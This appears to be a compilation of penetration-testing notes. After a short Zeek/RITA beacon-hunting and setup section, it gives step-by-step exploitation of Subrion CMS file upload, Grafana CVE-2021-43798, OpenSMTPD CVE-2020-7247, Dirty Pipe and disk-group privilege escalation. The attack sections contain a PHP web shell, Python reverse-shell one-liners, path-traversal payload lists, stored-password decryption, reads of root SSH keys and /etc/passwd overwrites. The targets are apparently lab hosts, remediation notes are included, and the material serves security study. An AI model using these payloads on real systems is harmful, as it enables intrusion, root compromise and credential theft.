  • cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4rn | head -5

Extra: We can convert that time to seconds

  • eval "echo $(date -ud "@$seconds" +'$((%s/3600/24)) days %H hours %M Minutes %S Seconds')"

Finding beacons ZEEK + RITA (files)

1. After parsing the pcap, we get a file named files.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 file.log

2. We can search by filename and its respective hash

  • cat files.log | zeek-cut -d ts filename sha1

3. Also, filter by file name to exclude “-“

  • cat files.log | zeek-cut filename | grep -iEv "(-)"

4. search by host, destination, protocol, application and filename

  • cat files.log | zeek-cut tx_hosts rx_hosts source mime_type filename

5. Filter the results, example, exclude “x509” and iv the column 6 is not equals to “-“

  • cat files.log | zeek-cut -d ts tx_hosts rx_hosts source mime_type filename | grep -v 'x509' | awk '$6!="-"'

Finding beacons ZEEK + RITA (DNS)

1. After parsing the pcap, we get a file named dns.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 dns.log

2. We can filter all the columns

  • cat dns.log| grep fields | awk '{ for (i = 1; i <= NF; i++) print $i }'

3. Convert the timestamps to human readable

  • cat dns.log | zeek-cut -d ts

4. We can filter by source, destination IPs & DNS query

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query

5. We can use grep to get rid of the domain local queries, or legit queries that we see, | is used as “or”

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-)'
  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-|in-addr.arpa)'

Using RITA to import logs into database

1. Import the .log files

  • sudo rita import . malware_db

2. Once, the data has been imported we can search by beacons

  • sudo rita show-beacons malware_db --human-readable

3. This can be printed in html format

  • sudo rita html-report malware_db

4. Search for an interesting IP and list the files where it appears

  • grep -iRl

5. Search within a specific log

  • grep -iR conn.log


Set up Rita + Zeek + MongoDB

RITA is an open source framework for network traffic analysis. The framework ingests Zeek Logs in TSV format, and currently supports the following major features:

  • Beaconing Detection: Search for signs of beaconing behavior in and out of your network
  • DNS Tunneling Detection Search for signs of DNS based covert channels
  • Blacklist Checking: Query blacklists to search for suspicious domains and hosts


Note: RITA needs Zeek logs as input, and, MongoDB to build a database

How to set Up

Using the manual installation process (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)


MongoDB is a high-performance, open source, schema-free document-oriented data store that's easy to deploy, manage and use. It's network accessible, written in C++ and offers

the following features:

  • Collection oriented storage - easy storage of object-style data
  • Full index support, including on inner objects
  • Query profiling
  • Replication and fail-over support
  • Efficient storage of binary data including large objects (e.g. videos)
  • Auto-sharding for cloud-level scalability

1. Follow the steps below as indicated in GitHub

2. Check the vendor documentation (https://www.mongodb.com/docs/v4.2/installation/)

3. Follow the steps indicated in “Install MongoDB Community Edition” section, Import the public key used by the package management system. We should get “OK” as response

  • wget -qO - https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add –

Note: if you receive an error indicating that gnupg is not installed, you can

  • sudo apt-get install gnupg

4. Create a /etc/apt/sources.list.d/mongodb-org-4.2.list file for MongoDB.

  • echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.2 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.2.list

5. Issue the following command to reload the local package database:

  • sudo apt-get update

6. Install the MongoDB packages.

  • sudo apt-get install -y mongodb-org

7. Start MongoDB

  • sudo systemctl start mongod
  • sudo systemctl status mongod

Note: If you receive an error similar to the following when starting mongod:

  • Failed to start mongod.service: Unit mongod.service not found.

Run the following command first:

  • sudo systemctl daemon-reload

8. (OPTIONAL) You can ensure that MongoDB will start following a system reboot by issuing the following command:

  • sudo systemctl enable mongod

9. Stop/Restart MongoDB

  • sudo systemctl stop mongod
  • sudo systemctl restart mongod


1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Download the RITA binaries

3. Compile the files using “make” & “make install” commands

  • sudo make
  • sudo make install

4. Now that it successfully compiled and installed, we can run rita as test

  • rita --version
  • rita

5. RITA requires a few directories to be created for it to function correctly.

  • sudo mkdir /etc/rita && sudo chmod 755 /etc/rita
  • sudo mkdir -p /var/lib/rita/logs && sudo chmod -R 755 /var/lib/rita

6. Copy the config file from your local RITA source code.

  • sudo cp etc/rita.yaml /etc/rita/config.yaml && sudo chmod 666 /etc/rita/config.yaml

7. Using RITA again we don’t get the config.yaml error

  • sudo rita --version

8. Test the config

  • rita test-config


Zeek is primarily a security monitor that inspects all traffic on a link in depth for signs of suspicious activity.

1. Follow the steps below as indicated in GitHub (https://github.com/activecm/rita/blob/master/docs/Manual%20Installation.md)

2. Visit Zeek documentation

3. Make sure that you meet the pre-requisites, if you don’t or don’t know, scroll down and find “To install the required dependencies, you can use:” section, I’ll use Debian’s dependencies installation

  • sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev python3 python3-dev swig zlib1g-dev -y

4. Now install Zeek

  • sudo apt install zeek -y

5. Check zeek has been installed

  • zeek -v
  • zeek -h

6. We now need to get zeek-cut tool, which is very important to manage the pcap. Visit https://github.com/zeek

7. Now proceed to download the zeek-aux code (https://github.com/zeek/zeek-aux) to install “zeek-cut” command. zeek-cut extracts the given columns from ASCII Zeek logs on standard input, and outputs

them to standard output.

8. Now, we need to compile these binaries, for this we will need “cmake” which can be found in https://github.com/zeek/cmake, download the files within the zeek-aux folder

Note: This is a collection of CMake scripts intended to be included as a

git submodule in other repositories related to Zeek

9. Now run it

  • sudo ./configure
  • sudo make
  • sudo make install
  • sudo updated

10. In order to locate the executable use

  • locate zeek-cut
  • file /usr/local/zeek/bin/zeek-cut
  • sudo cp /usr/local/zeek/bin/zeek-cut /usr/bin

11. Verify zeek-cut can be now run as a command

  • zeek-cut -h

Cheat sheet

The tool is ready to use. Here you have some ZEEK commands that you can use (https://github.com/corelight/bro-cheatsheets)


Disk group privilege escalation

The disk group gives the user full access to any block devices contained within /dev/. Since /dev/sda1 will in general be the global file-system, and the disk group will have full read-write privileges to this device


1. Check the permissions on the current user

  • Id

2. Using LinEnum script can also help (https://github.com/rebootuser/LinEnum)

  • ./LinEnum.sh

3. List /dev devices owner and group owner

  • ls -l /dev

4. You can also find the partitions owned by disk group

  • find /dev -group disk

5. Also display the available partitions

  • df -h


1. Knowing your user is part of the disk group we can use debugfs to enumerate the entire disk with effectively root level privileges. We also have full read-write access to the disk block files, so we can extricate these or write arbitrary data to them. With the disk group, we are effectively root, just in a roundabout way. We will explore the partition where the / (root) directory is mounted on in this case /dev/sda2

  • debugfs /dev/sda2

2. Being in there we can write files, in our case this is read-only

  • cd /root
  • ls
  • mkdir test

3. In this case as we don’t have write permissions, we can try to read the ssh keys

  • cd /root/.ssh
  • ls
  • cat id_rsa

4. Copying the contents of this file in a new file in our local machine, and set proper permissions

  • vi id_rsa
  • chmod 600 id_rsa

5. Now using that key try to log into the server again

  • ssh -i id_rsa root@


Try not to assign users into the disk group


Subrion CMS 4.2.1 – Arbitrary File Upload (Authenticated) – 2018-19422

Subrion CMS could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /panel/uploads URI. By sending a specially-crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Affect version

  • 4.2.1


1. To identify the version of the Subrion application you can navigate to /panel/

  • http://ip/panel/
  • http://exfiltrated.offsec/login/

2. You can use curl to get the page info

  • curl http://exfiltrated.offsec/panel/ | grep -i Subrion

Exploitation (Script)

1. Now that we know the Subrion CMS version we can proceed search for exploits that apply

  • searchsploit Subrion 4.2.1

2. Looking at the results, I would use the “Arbitrary File Upload”, (https://www.exploit-db.com/exploits/49876), so, I download it

  • searchsploit -m php/webapps/49876.py
  • python 49876.py

3. After successful download, we proceed to test the script, we need to provide the credentials as this is an authenticated attack. You can brute force the credentials or try to use the default ones, admin/admin, in my case the default credentials were set

  • python 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
  • whoami

Exploitation (Manual)

1. Having already the credentials proceed to log into the Subrion CMS console

  • http://exfiltrated.offsec/panel/
  • admin/admin

2. Once, authenticated, go to http://[address]:[port]/[app_path]/panel/uploads

  • http://exfiltrated.offsec/panel/uploads/

3. We will create a php file that prints text as a Proof of Concept, the file extension should be either pht or .phar

  • vi php_poc.phar
  • cat php_poc.phar
  • <?php echo "Vry4n was here!"; ?>

4. Proceed to upload it to Subrion CMS, and check the location, in this case (uploads/php_poc.phar)

5. Navigate to that location, as you can see code has been executed

  • http://exfiltrated.offsec/uploads/php_poc.phar

6. Now we can try to upload a basic line of code to proof we can run commands

  • vi php_code.phar
  • cat php_code.phar
  • <?php system($_GET['cmd']); ?>

7. Repeat the upload step, and visit the file, then use the variable cmd followed by the command you need

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=whoami

8. We can run a python reverse shell, start a local listener in our attacking machine

  • nc -lvp 1234

9. I used https://www.revshells.com/ to create a python3 reverse shell

  • http://exfiltrated.offsec/uploads/php_code.phar?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • whoami


1. We can try to use a webshell, we will edit the one in our local Kali machine /usr/share/webshells/php/php-reverse-shell.php

  • cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/php-reverse-shell.php
  • cd ~/Desktop
  • mv php-reverse-shell.php php-reverse-shell.phar
  • vi php-reverse-shell.phar

2. Start a listener

  • nc -lvp 1234

3. Upload it to the Subrion CMS, and then execute the .phar file, we should have a connection back

  • http://exfiltrated.offsec/uploads/php-reverse-shell.phar
  • whoami


No remedy available as of November 14, 2018.








Grafana 8.3.0 – Directory Traversal and Arbitrary File Read – CVE-2021-43798

Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.

Every Grafana instance comes with pre-installed plugins like the Prometheus plugin or MySQL plugin so the following URLs are vulnerable for every instance:

  • <grafana_host_url>/public/plugins/alertlist/
  • <grafana_host_url>/public/plugins/annolist/
  • <grafana_host_url>/public/plugins/barchart/
  • <grafana_host_url>/public/plugins/bargauge/
  • <grafana_host_url>/public/plugins/candlestick/
  • <grafana_host_url>/public/plugins/cloudwatch/
  • <grafana_host_url>/public/plugins/dashlist/
  • <grafana_host_url>/public/plugins/elasticsearch/
  • <grafana_host_url>/public/plugins/gauge/
  • <grafana_host_url>/public/plugins/geomap/
  • <grafana_host_url>/public/plugins/gettingstarted/
  • <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
  • <grafana_host_url>/public/plugins/graph/
  • <grafana_host_url>/public/plugins/heatmap/
  • <grafana_host_url>/public/plugins/histogram/
  • <grafana_host_url>/public/plugins/influxdb/
  • <grafana_host_url>/public/plugins/jaeger/
  • <grafana_host_url>/public/plugins/logs/
  • <grafana_host_url>/public/plugins/loki/
  • <grafana_host_url>/public/plugins/mssql/
  • <grafana_host_url>/public/plugins/mysql/
  • <grafana_host_url>/public/plugins/news/
  • <grafana_host_url>/public/plugins/nodeGraph/
  • <grafana_host_url>/public/plugins/opentsdb
  • <grafana_host_url>/public/plugins/piechart/
  • <grafana_host_url>/public/plugins/pluginlist/
  • <grafana_host_url>/public/plugins/postgres/
  • <grafana_host_url>/public/plugins/prometheus/
  • <grafana_host_url>/public/plugins/stackdriver/
  • <grafana_host_url>/public/plugins/stat/
  • <grafana_host_url>/public/plugins/state-timeline/
  • <grafana_host_url>/public/plugins/status-history/
  • <grafana_host_url>/public/plugins/table/
  • <grafana_host_url>/public/plugins/table-old/
  • <grafana_host_url>/public/plugins/tempo/
  • <grafana_host_url>/public/plugins/testdata/
  • <grafana_host_url>/public/plugins/text/
  • <grafana_host_url>/public/plugins/timeseries/
  • <grafana_host_url>/public/plugins/welcome/
  • <grafana_host_url>/public/plugins/zipkin/

Affected Products

  • All installations between v8.0.0-beta1 and v8.3.0 should be upgraded as soon as possible.
  • Grafana Grafana 8.0.0
  • Grafana Grafana 8.3.0


1. We can reach the log in screen and find out about the Grafana version, in our case this is using port 3000 (Version v8.3.0 (914fcedb72))


2. Using curl we can also query the /login page

  • curl | grep "Grafana v"

Exploit (Script)

1. Having identified the version of the application, we can confirm if this application is vulnerable, we will use an automated exploit (https://www.exploit-db.com/exploits/50581) , I will download it using searchsploit

  • searchsploit grafana
  • searchsploit -m multiple/webapps/50581.py

2. Now, we can try to use the script to read files

  • python 50581.py -H
  • /etc/passwd

3. We can try all the known readable config files to find interesting information. At this point we will try to find Grafana config files, based on their documentation (https://github.com/grafana/grafana/blob/main/conf/defaults.ini) , /etc/grafana/grafana.ini seems to be interesting, since it can hold user/password info under Security section

  • python 50581.py -H
  • /etc/grafana/grafana.ini

Exploit (Manual)

1. We can use curl to read files

  • curl --path-as-is

2. We can try to read a database file and store it in our PC, this is grafana database

  • curl --path-as-is -o grafana.db
  • ls -l grafana.db

3. Now we can use sqlite3 to read this database file, there is a data_source table that holds user information

  • sqlite3 grafana.db
  • .tables
  • select * from data_source;

Note: Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default.

4. Having the Password & Username, we can proceed to decrypt it

  • basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
  • sysadmin

Decrypt the password using a script

1. We can now decrypt the password using a script found on the internet (https://github.com/jas502n/Grafana-CVE-2021-43798)

  • git clone https://github.com/jas502n/Grafana-CVE-2021-43798.git
  • cd Grafana-CVE-2021-43798
  • ls

2. Try to run the script, if you run into errors, it might indicate you need to install dependencies

  • go run AESDecrypt.go
  • go env -w GO111MODULE=off
  • go run AESDecrypt.go

3. As we got the error (cannot find package "golang.org/x/crypto/pbkdf2" in any of), we will try to install pbkdf2

  • go get golang.org/x/crypto/pbkdf2

4. Now try to run the application

  • go run AESDecrypt.go

5. Since the script includes variables with default values we need to change those to match our credentials:

  • secret_key (found in /etc/grafana/grafana.ini) = SW2YcwTIb9zpOOhoPsMm
  • dataSourcePassword (found in /var/lib/grafana/grafana.db) = anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

6. Edit the script

  • vi AESDecrypt.go

7. Run the script again, the results should be the decrypted password

  • go run AESDecrypt.go

8. (EXTRA) The result is SuperSecureP@ssw0rd, we can try using this password and the user (found in /var/lib/grafana/grafana.db) to SSH this host

  • ssh sysadmin@

(EXTRA) Interesting folder/file for LFI

  • /conf/defaults.ini
  • /etc/grafana/grafana.ini
  • /etc/passwd
  • /etc/shadow
  • /home/grafana/.bash_history
  • /home/grafana/.ssh/id_rsa
  • /root/.bash_history
  • /root/.ssh/id_rsa
  • /usr/local/etc/grafana/grafana.ini
  • /var/lib/grafana/grafana.db
  • /proc/net/fib_trie
  • /proc/net/tcp
  • /proc/self/cmdline

these are directories, FUZZING them can help discover plugins)

  • /usr/share/grafana/public/app/plugins/datasource
  • /usr/share/grafana/public/app/plugins/

(EXTRA) Different ways to exploit LFI

  • /public/plugins/alertGroups/../../../../../../../../etc/passwd
  • /public/plugins/alertlist/../../../../../../../../etc/passwd
  • /public/plugins/alertmanager/../../../../../../../../etc/passwd
  • /public/plugins/annolist/../../../../../../../../etc/passwd
  • /public/plugins/barchart/../../../../../../../../etc/passwd
  • /public/plugins/bargauge/../../../../../../../../etc/passwd
  • /public/plugins/canvas/../../../../../../../../etc/passwd
  • /public/plugins/cloudwatch/../../../../../../../../etc/passwd
  • /public/plugins/dashboard/../../../../../../../../etc/passwd
  • /public/plugins/dashlist/../../../../../../../../etc/passwd
  • /public/plugins/debug/../../../../../../../../etc/passwd
  • /public/plugins/elasticsearch/../../../../../../../../etc/passwd
  • /public/plugins/gauge/../../../../../../../../etc/passwd
  • /public/plugins/geomap/../../../../../../../../etc/passwd
  • /public/plugins/gettingstarted/../../../../../../../../etc/passwd
  • /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
  • /public/plugins/grafana/../../../../../../../../etc/passwd
  • /public/plugins/graph/../../../../../../../../etc/passwd
  • /public/plugins/graphite/../../../../../../../../etc/passwd
  • /public/plugins/heatmap/../../../../../../../../etc/passwd
  • /public/plugins/histogram/../../../../../../../../etc/passwd
  • /public/plugins/influxdb/../../../../../../../../etc/passwd
  • /public/plugins/jaeger/../../../../../../../../etc/passwd
  • /public/plugins/live/../../../../../../../../etc/passwd
  • /public/plugins/logs/../../../../../../../../etc/passwd
  • /public/plugins/loki/../../../../../../../../etc/passwd
  • /public/plugins/mixed/../../../../../../../../etc/passwd
  • /public/plugins/mssql/../../../../../../../../etc/passwd
  • /public/plugins/mysql/../../../../../../../../etc/passwd
  • /public/plugins/news/../../../../../../../../etc/passwd
  • /public/plugins/nodeGraph/../../../../../../../../etc/passwd
  • /public/plugins/opentsdb/../../../../../../../../etc/passwd
  • /public/plugins/piechart/../../../../../../../../etc/passwd
  • /public/plugins/pluginlist/../../../../../../../../etc/passwd
  • /public/plugins/postgres/../../../../../../../../etc/passwd
  • /public/plugins/prometheus/../../../../../../../../etc/passwd
  • /public/plugins/stat/../../../../../../../../etc/passwd
  • /public/plugins/state-timeline/../../../../../../../../etc/passwd
  • /public/plugins/status-history/../../../../../../../../etc/passwd
  • /public/plugins/table-old/../../../../../../../../etc/passwd
  • /public/plugins/table/../../../../../../../../etc/passwd
  • /public/plugins/tempo/../../../../../../../../etc/passwd
  • /public/plugins/testdata/../../../../../../../../etc/passwd
  • /public/plugins/text/../../../../../../../../etc/passwd
  • /public/plugins/timeseries/../../../../../../../../etc/passwd
  • /public/plugins/welcome/../../../../../../../../etc/passwd
  • /public/plugins/xychart/../../../../../../../../etc/passwd
  • /public/plugins/zipkin/../../../../../../../../etc/passwd


Upgrade to the latest version of Grafana (8.0.7, 8.1.8, 8.2.7, 8.3.1 or later). If you cannot upgrade, running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability.








OpenSMTPD < 6.6.1 - Remote Code Execution (smtp_mailaddr) - CVE-2020-7247

OpenSMTPD could allow a remote attacker to gain elevated privileges on the system, caused by improper handling of user input. By sending a specially-crafted mail request, an attacker could exploit this vulnerability to execute arbitrary code on the system as root.

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Affected Products

  • OpenSMTPD OpenSMTPD 6.4.0
  • OpenSMTPD OpenSMTPD 6.4.1
  • OpenSMTPD OpenSMTPD 6.4.2
  • OpenSMTPD OpenSMTPD 6.6.0
  • OpenSMTPD OpenSMTPD 6.6.1


1. Running a vulnerability scanner against the remote vulnerable server, in this case we are using Nessus

2. We can also Identify this vulnerability using Nmap, in this case the smtp version is 2.0.0

  • nmap -p 25 --script smtp-commands

Exploitation Script

1. Knowing the service version, we can try to exploit this service, using an automated exploit (https://www.exploit-db.com/exploits/47984)

  • searchsploit smtpd
  • searchsploit -m linux/remote/47984.py

2. This exploit will allow us to execute remote code, first make sure it is executable, otherwise, assign execute permissions

  • ls -l 47984.py
  • (OPTIONAL) chmod 777 47984.py

3. Since, we are allowed to run commands we will first Ping test back to our machine. So first start a TCPdump listener waiting for ICMP traffic

  • sudo tcpdump -i tun0 icmp and src

4. Now, execute the exploit, and point the ping command to our local machine

  • python 47984.py 25 'ping -c 4'

5. Check the capture, and, confirm it captured ICMP traffic

6. We should proceed with trying to access the server, I’ll try a reverse shell to port 80, because, after testing this server didn’t allow any other port

  • nc -lvp 80

7. Run the exploit with the reverse shell query, I’ll use python

  • python 47984.py 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

7. Now, check the listener, we should have a new session

  • whoami

Exploitation Manual

1. In order to exploit manually, we need to connect to the STMP service using telnet

  • telnet 25

2. Since we will do a ping test we will start a capture on our local machine

  • sudo tcpdump -i tun0 icmp and src

3. In the SMTP session run the following commands (note the return code should be 250)

  • HELO x
  • MAIL FROM:<;ping -c 4;>
  • RCPT TO:<root>
  • DATA
  • <enter>
  • vry4n
  • .
  • QUIT

4. Look at the capture, we should now see some output

5. Instead of the ping command, you can run any other commands like a reverse shell, or create new users, as this is run as root


Upgrade to the latest version of OpenSMTPD (6.6.2 or later)






Dirty Pipe – Linux Kernel privilege escalation (CVE-2022-0847)

Linux 'Dirty Pipe' Vulnerability Allows Root Access - Lansweeper

DirtyPipe is a local privilege escalation vulnerability in the Linux kernel that allows a local attacker to bypass any file permission, and write arbitrary data to any file under certain conditions.

  • File must be readable by the attacker
  • The overwritten offset must not be on a page boundary (page size is usually 4096)
  • The write cannot cross a page boundary
  • File cannot be resized
  • File must be backed by the page cache (ex. a regular file)

Linux Kernel could allow a local authenticated attacker to gain elevated privileges on the system, caused by improper initialization in the copy_page_to_iter_pipe and push_pipe functions. By writing to pages in the page cache backed by read only files, an authenticated attacker could exploit this vulnerability to gain elevated privileges.

There are plenty of ways for attackers to gain the root privileges using this vulnerability, such as

  • unauthorized creation of new cron jobs
  • SUID binary hijacking
  • /etc/passwd modification
  • and so on.

For more technical and detailed information visit: https://dirtypipe.cm4all.com/

Affected Products

  • It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102
  • Linux Kernel 5.10
  • Linux Kernel 5.15
  • Linux Kernel 5.16

What are Pipe, Page, and splice() in Linux?

Pipe: A pipe is a unidirectional and inter-process communication method in Linux. It allows a process to take input from the previous one using a pipe buffer. For communication between processes, shared memory pages are used, in which one process reads and another writes. Typically, a pipe spans multiple pages of memory.

  • cat test.txt | grep Earth

Page: A page is a 4096-byte (4Kb) block of data. The Linux kernel breaks up the data into pages and operates on pages instead of dealing with the entire file at once. In the pipe mechanism, there is a flag called PIPE_BUF_FLAG_CAN_MERGE that indicates whether merging more data into the pipe buffer is allowed or not. When data is copied to a pipe buffer, more data can be added to the pipe buffer if the copied page is less than 4096 bytes in size.

Pages are used when reading and writing files from the disk, although they have many other uses. The part of the kernel that manages pages is referred to as the “page cache”.

Cached pages: These are recently accessed memory pages that are stored in a faster buffer in order to speed up subsequent possible accesses.

Flags/pipe attributes: Pipe flags specify characteristics such as state and permissions. As an example of attributes: PIPE_BUF_FLAG_CAN_MERGE. The existing flags for the memory pages are defined in the include /linux/pipe_fs_i.h file.

  • cat /usr/src/linux-hwe-5.13-headers-5.13.0-40/include/linux/pipe_fs_i.h

Splice: splice() is a Linux system call that can move data from or to the pipe. This system call transfer data using the pass-by-reference method. Instead of copying a page every time, it gives a reference to the page that is to be transferred to pipe.

What is Dirty Pipe (CVE-2022-0847) Vulnerability?

Dirty Pipe is a local privilege escalation vulnerability affecting Linux kernel versions 5.8 or newer. The vulnerability is patched in Linux versions 5.16.11, 5.15.25, and 5.10.102. CVSS score of the vulnerability is 7.8(high). CVE-2022-0847 vulnerability is named Dirty Pipe because of its similarity to Dirty Cow (CVE-2016-5195) vulnerability.

Here is how Dirty Pipe vulnerability exploitation works:

  • Create a pipe
  • Copy arbitrary data into the pipe and set the PIPE_BUF_FLAG_CAN_MERGE flag to 1 for all instances.
  • Drain the pipe
  • Normally, the flag should be reset. However, the Dirty Pipe vulnerability causes the flag to stay as set to 1.
  • Transfer a read-only file to the pipe using splice() system call.
  • Modify the read-only file.
  • Since the splice() system call uses the pass-by-reference method, the attacker can overwrite the file due to the PIPE_BUF_FLAG_CAN_MERGE flag.

Using Dirty Pipe vulnerability, an attacker with unprivileged access to the victim system can elevate its privileges to the root level.

Technical summary of CVE-2022-0847

  • CVE-2022-0847 was discovered while using the splice() system call. Basically, this system call moves data between a file descriptor and a pipe, without requiring the data to cross the usermode/kernelmode address space boundary, which helps compute performance.
  • Normally, when sending a file, memory pages (usually sized at 4KB) are copied into a memory-managed space called the page cache. From there the data is being copied to the userspace and remains in the cache to avoid unnecessary hard disk I/O.
  • When a file is being read into a pipe (via the splice() syscall) and at the same time arbitrary data is written into the pipe, the erroneous state caused by the bug causes the data to end up in the same page cache that is used by the file, and as such the data written to the pipe ends up at the file, even if the file was opened with read-only mode (O_RDONLY).

Exploit steps taken

  • It starts by opening a file in read mode, which can later be written to even if the program does not have permissions.
  • Create a pipe with the pipe() system call. This function gives the same process access to descriptors that allow writing and reading.
  • Write any type of information to the pipe to fill it completely and that the memory pages are marked with the PIPE_BUF_FLAG_CAN_MERGE flag.
  • Once all the pages have been marked, it allows the kernel to free them by reading all the data from the pipe it had written.
  • From this point on, when the kernel allocates memory pages using the features introduced in 2016, it will not initialize its flags and they will be marked with the PIPE_BUF_FLAG_CAN_MERGE attribute.
  • Use the splice() function to load the file that was originally opened. The memory page assigned to this file will be the same as our empty pipe, thanks to the fact that it was marked with the flag.
  • Directly overwrites the data in the pipe.



1. To identify if the server’s kernel version, you can run ‘uname’ command

  • uname -a

2. We can also try to run this testing script

  • git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker.git
  • cd CVE-2022-0847-dirty-pipe-checker
  • ls
  • chmod 777 dpipe.sh

3. After the script has been set as executable, we will run a check for the current version or a specific one

  • ./dpipe.sh
  • ./dpipe.sh 5.13.0


#1 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, proceed to download the exploit

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits/
  • ls
  • ./compile.sh
  • ls

3. Now that the script has been downloaded and compiled, proceed to run it (Usage: ./exploit-2 SUID)

  • ./exploit-2 /usr/sbin/pppd
  • whoami

#2 Dirty Pipe SUID Binary Hijack Privilege Escalation

1. First, try to locate a binary that has SUID permissions assigned owned by root

  • find / -perm /4000 2> /dev/null
  • find / -perm -4000 2> /dev/null

2. Having already located one, in this case (/usr/bin/mount), proceed to download the exploit

  • git clone https://github.com/febinrev/dirtypipez-exploit.git
  • cd dirtypipez-exploit
  • ls
  • gcc dirtypipez.c -o dirtypipez
  • ls
  • ./dirtypipez

3. We need to assign the binary with SUID, we will use mount

  • ./dirtypipez /usr/bin/mount
  • whoami

#3 Dirty Pipe SUID Binary (Metasploit)

1. Having already a Meterpreter session, we can background the process, and search for exploits related to CVE-2022-0847

  • getuid
  • background
  • search cve:2022-0847

2. Select this module, and, check its options

  • use exploit/linux/local/cve_2022_0847_dirtypipe
  • show options

3. Now set the necessary options, and set the payload depending on your target.

  • sessions -i
  • set SESSION 1
  • set LHOST
  • set LPORT 5555

4. Execute the script to get a reverse meterpreter session with elevated privileges

  • run
  • getuid
  • shell
  • whoami

#1 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it, (you can also compile it before delivering it)

  • git clone https://github.com/bbaranoff/CVE-2022-0847.git
  • ls
  • gcc CVE-2022-0847.c -o CVE-2022-0847
  • ls

2. This script will modify READ only files, such as /etc/passwd, make sure to have a backup of it before running it into any testing/production environment. The script will modify the first line of this script and change from root to rootz (without password)

  • cat /etc/passwd | head -n 1
  • su rootz
  • ./cve-2022-0847 /etc/passwd 1 ootz:
  • cat /etc/passwd | head -n 1
  • su rootz

#2 Modifying/overwriting read only files

1. Download the script into the vulnerable machine, and compile it

  • git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • cd CVE-2022-0847-DirtyPipe-Exploits
  • ls -l
  • ./compile.sh
  • ls

2. Check the /etc/passwd before running the script

  • head /etc/passwd

3. Now run exploit-1, In my case it shows as failing but it works

  • ./exploit-1
  • su root
  • <password>: piped
  • whoami

4. Check /etc/passwd after the script executed

  • head /etc/passwd


Upgrade to the latest version of Linux Kernel (5.10.102, 5.15.25, 5.16.11 or later), available from the Linux Kernel Web site.

  • identify vulnerable systems on their networks
  • Since Linux is also used in many mobile devices, the relevant patches should be applied.
  • Apply all relevant security updates once they are available. To patch CVE-2022-0847, update your Linux systems to versions 5.16.11, 5.15.25 and 5.10.102 or newer.
  • Use a security solution that provides patch management and endpoint protection
  • Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.

If upgrading or patching the kernel is not possible, you can deploy a seccomp profile that disallows the splice syscall. While this may cause issues in some software packages, blocking the syscall usually does not have an effect on legitimate applications, since use of this syscall is relatively rare.

Specifically, to protect Docker containers, it is possible to modify Docker’s default seccomp profile and remove splice from the list of allowed syscalls


















PHPinfo: Information Disclosure

phpinfo() is a debug functionality that prints out detailed information on both the system and the PHP configuration.

The official PHP documentation makes a recommendation to create a file that calls the phpinfo() function in order to test that the PHP installation was successful; it is a common mistake to forget to remove this file. The information leaked by the phpinfo() function includes physical paths, environment variables, and the full PHP configuration settings.

The phpinfo() is also a debugging tool as it consists of all the information a developer wants to know about a server. If anyone uploads the phpinfo() function to their webroot/index.php file, they can see their server’s configuration settings.

An attacker can obtain information such as:

  • Exact PHP version.
  • Exact OS and its version.
